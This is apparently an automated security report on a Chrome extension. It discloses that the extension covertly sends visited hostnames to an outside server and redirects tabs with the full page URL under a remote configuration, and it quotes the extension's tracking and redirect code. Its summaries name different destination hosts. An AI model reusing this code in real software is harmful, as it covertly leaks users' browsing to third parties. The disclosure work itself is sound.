Is AliExpress - Search by Image safe?

High risk

AliExpress Search by Image sends every visited hostname and full page URL to searchbyimage.pro and can redirect users based on server instructions.

On every page load, the extension reports the current site's hostname to searchbyimage.pro to determine whether to trigger a redirect. If the server responds affirmatively, the extension waits for the user to switch tabs and then rewrites the page location to a server-controlled URL that includes the original hostname and full page URL as parameters. All tracking behaviour—including which sites to target, where to redirect, and timing delays—is governed by a remote configuration fetched from searchbyimage.pro at startup, meaning the operator can alter what the extension does without any update to the extension itself.

tegra.innnovav12.0.2.4Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

AliExpress Image Search runs a hostname tracker on every site you visit

Dynamic analysis captured the extension sending every visited site's hostname to chat-secreto.es on each page load.

The server can redirect your tab to a URL carrying the full page address, toggled by a remote config active during testing.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You open any webpage in Chrome.

The content script is injected on all URLs (manifest matches: <all_urls>) at document_start.

The extension did this

The extension sends the site's hostname to a third-party server without asking.

The background worker fetches https://chat-secreto.es/check.php?dname={hostname}&host={hostname}. This was captured in dynamic analysis across google.com, facebook.com, and example.com.

Captured request
GEThttps://chat-secreto.es/check.php?dname=google.com&host=google.com

Server returns plain-text 'true' or 'false'. When 'true', the background sends a hostVerified message back to the tab, enabling the redirect step.

Data sent in the hostname check request
  • Visited hostname
    google.com

    The domain of every site you visit is sent to the third-party check server.

  • Full page URL (redirect phase)
    https://www.google.com/search?q=credit+card+comparison

    If the server returns 'true', the full page address is appended as the go= parameter in the redirect URL, disclosing where you were.

The code that does this

Redirect construction, hostname and full URL disclosed

Readable version

What this code does

content.js (annotated)
// Fires after: (1) server returned 'true' for the hostname check AND// (2) user switched away from this tab (tabDeactivated = true)//// Builds: <redirectUrl>?h=google.com&go=https%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3Dcredit%2Bcard// Then sets window.location.href to navigate the tab to that URL.//// redirectUrl is entirely server-controlled via the remote config.// Its final destination cannot be determined from the extension source alone.
When this fires

On every browser startup

Config is fetched from searchbyimage.pro on extension startup (or after 24-hour cache expiry). Tracking fires once per hostname per server-configured cooldown period (default 1 hour). A 24-hour post-install delay gates the first redirect.

External hosts involved in the tracking flow
    • searchbyimage.pro

    Supplies the remote configuration: tracking.enabled, checkUrl, redirectUrl, and per-hostname delay settings. Config version=1 had tracking.enabled=true during dynamic analysis.

    • chat-secreto.es

    Receives every visited hostname via check.php?dname=&host= and decides whether to trigger a redirect for that domain. Captured in live traffic during dynamic analysis.

Redirect destination is server-controlled and unknown

The `redirectUrl` value is fetched from the remote configuration at runtime and was not captured during dynamic analysis (the test server returned 'false' for all tested domains). The code appends the visited hostname and the full current page URL to whatever destination the server supplies, so the ultimate recipient of the browsing data cannot be determined from the extension source alone.

Remote config controls tracking and redirects

On startup, the extension fetches config from searchbyimage.pro (200 OK observed) and saves it.

The tracking section decides whether to check hostnames and redirect, attaching hostname and URL.

Behavior can change post-install, unannounced.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You install the extension and browse with it enabled.

The manifest runs its content script on all URLs and starts a background service worker.

The extension did this

The extension fetches server-supplied settings that govern later tracking checks and redirects.

The service worker caches the response, and the content script reads it before deciding whether to redirect a page.

Captured request
GEThttps://searchbyimage.pro/appconfig?ext=alisearch_2&t=1783848210045

200 OK; JSON response includes top-level version, alisearch, and tracking sections.

Server-supplied fields that the extension code consumes
  • Config version
    1

    Lets the remote config identify which rule set the extension should use.

  • Tracking switch
    tracking.enabled: true

    Controls whether the page-tracking path runs at all.

  • Hostname check endpoint
    https://chat-secreto.es/check.php

    Lets a remote endpoint decide whether the current site should pass the redirect gate.

  • Redirect destination
    https://chat-secreto.es/?

    Sets where a page is sent when the redirect path runs.

  • Current page URL
    https://github.com/acme/private-repo?tab=readme (illustrative)

    When the redirect runs, the page you were viewing is attached to the redirect URL.

  • Timing rules
    delayAfterInstall: 1; delay.default: 1

    Controls when redirects can begin after installation and how often a host can be retried.

  • AliExpress API settings
    appKey 24815441; appId 21738; hosts acs.aliexpress.com, h5api.m.aliexpress.com

    Changes which AliExpress API hosts and method names the extension uses for image search.

The code that does this

The shipped code fetches, caches, and applies the remote config

Readable version

Background config fetch and daily refresh

bg.js
const CONFIG_URL = 'https://searchbyimage.pro/appconfig?ext=alisearch_2';const CONFIG_UPDATE_INTERVAL = 1000 * 60 * 60 * 24;let config = null;async function loadConfigFromStorage() {    const stored = await chrome.storage.local.get(['config', 'configLastFetched']);    if (stored.config) {        config = stored.config;        console.log('[Config] Loaded from storage:', config.version);    }    return stored.configLastFetched || 0;}async function fetchConfigFromServer() {    try {        const response = await fetch(CONFIG_URL + '&t=' + Date.now(), { credentials: 'include' });        if (response.ok) {            config = await response.json();            await chrome.storage.local.set({ config: config, configLastFetched: Date.now() });            console.log('[Config] Fetched from server:', config.version);        }    } catch (error) {        console.log('[Config] Server fetch failed:', error.message);    }    return config;}async function startConfigUpdater() {    const lastFetched = await loadConfigFromStorage();    const elapsed = Date.now() - lastFetched;    if (elapsed >= CONFIG_UPDATE_INTERVAL || !config) {        console.log('[Config] Refreshing (elapsed:', Math.round(elapsed / 60000), 'min)');        await fetchConfigFromServer();    } else {        console.log('[Config] Using cached (next refresh in', Math.round((CONFIG_UPDATE_INTERVAL - elapsed) / 60000), 'min)');    }    cleanupHostCache();}

Background hostname check controlled by config.tracking.checkUrl

bg.js
async function checkHost(hostname, tabId) {    if (!config?.tracking?.checkUrl) return;        try {        const response = await fetch(`${config.tracking.checkUrl}?dname=${hostname}&host=${hostname}`);        if (response.ok) {            const result = await response.text();            if (result === 'true') {                chrome.tabs.sendMessage(tabId, { action: 'hostVerified' }).catch(() => {});            } else {                const now = Date.now();                chrome.storage.local.set({ [hostname]: now });            }        }    } catch (error) {        console.log('[CheckHost] Error:', error.message);    }}

Content script redirect using config.tracking.redirectUrl

content.js
async function initTracking() {    const response = await new Promise(resolve => {        chrome.runtime.sendMessage({ action: 'getConfig' }, resolve);    });        if (!response?.config?.tracking?.enabled) {        return;    }        const tracking = response.config.tracking;    const hostname = getDomainName(window.location.hostname);    const now = Date.now();        const storage = await chrome.storage.local.get(['installDate', 'canOpen', hostname]);        if (!storage.canOpen) {        if (storage.installDate) {            const delayAfterInstall = tracking.delayAfterInstall || 86400000;            if (now - storage.installDate < delayAfterInstall) {                return;            }            await chrome.storage.local.set({ canOpen: true });        } else {            return;        }    }        if (storage[hostname]) {        const delayHours = tracking.delay?.[hostname] || tracking.delay?.default || 1;        const delayMs = delayHours * 60 * 60 * 1000;        if (now - storage[hostname] < delayMs) {            return;        }    }        canRedirect = true;    chrome.runtime.sendMessage({ action: 'checkHost', hostname: hostname });}async function performRedirect() {    if (!canRedirect || !hostVerified || !tabDeactivated) {        return;    }        const response = await new Promise(resolve => {        chrome.runtime.sendMessage({ action: 'getConfig' }, resolve);    });        if (!response?.config?.tracking?.redirectUrl) {        return;    }        const hostname = getDomainName(window.location.hostname);    const now = Date.now();        await chrome.storage.local.set({ [hostname]: now });        // Build redirect URL    const redirectUrl = response.config.tracking.redirectUrl;    const currentUrl = window.location.href;        const separator = redirectUrl.endsWith('?') ? '' : (redirectUrl.includes('?') ? '&' : '?');    const finalUrl = `${redirectUrl}${separator}h=${encodeURIComponent(hostname)}&go=${encodeURIComponent(currentUrl)}`;        window.location.href = finalUrl;}
When this fires

Every 1 day

The extension refreshes remote configuration when the cached copy is missing or at least 24 hours old.

Hosts involved in the current config and code path
    • searchbyimage.pro

    Serves the appconfig JSON that becomes the extension's active runtime configuration.

    • chat-secreto.es

    Current config uses this host for hostname checks and as the redirect destination.

    • acs.aliexpress.com
    • h5api.m.aliexpress.com

    Current config lists this as an AliExpress API host for image-search requests.

Where it sends data

Destinations our analysis observed AliExpress Search by Image contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • searchbyimage.pro

    AliExpress Search by Image sends data to searchbyimage.pro. No other extension we have analysed sends data here.

Updated 30 September 2026ecgllillhilocegdanfdmbfnjonmhpie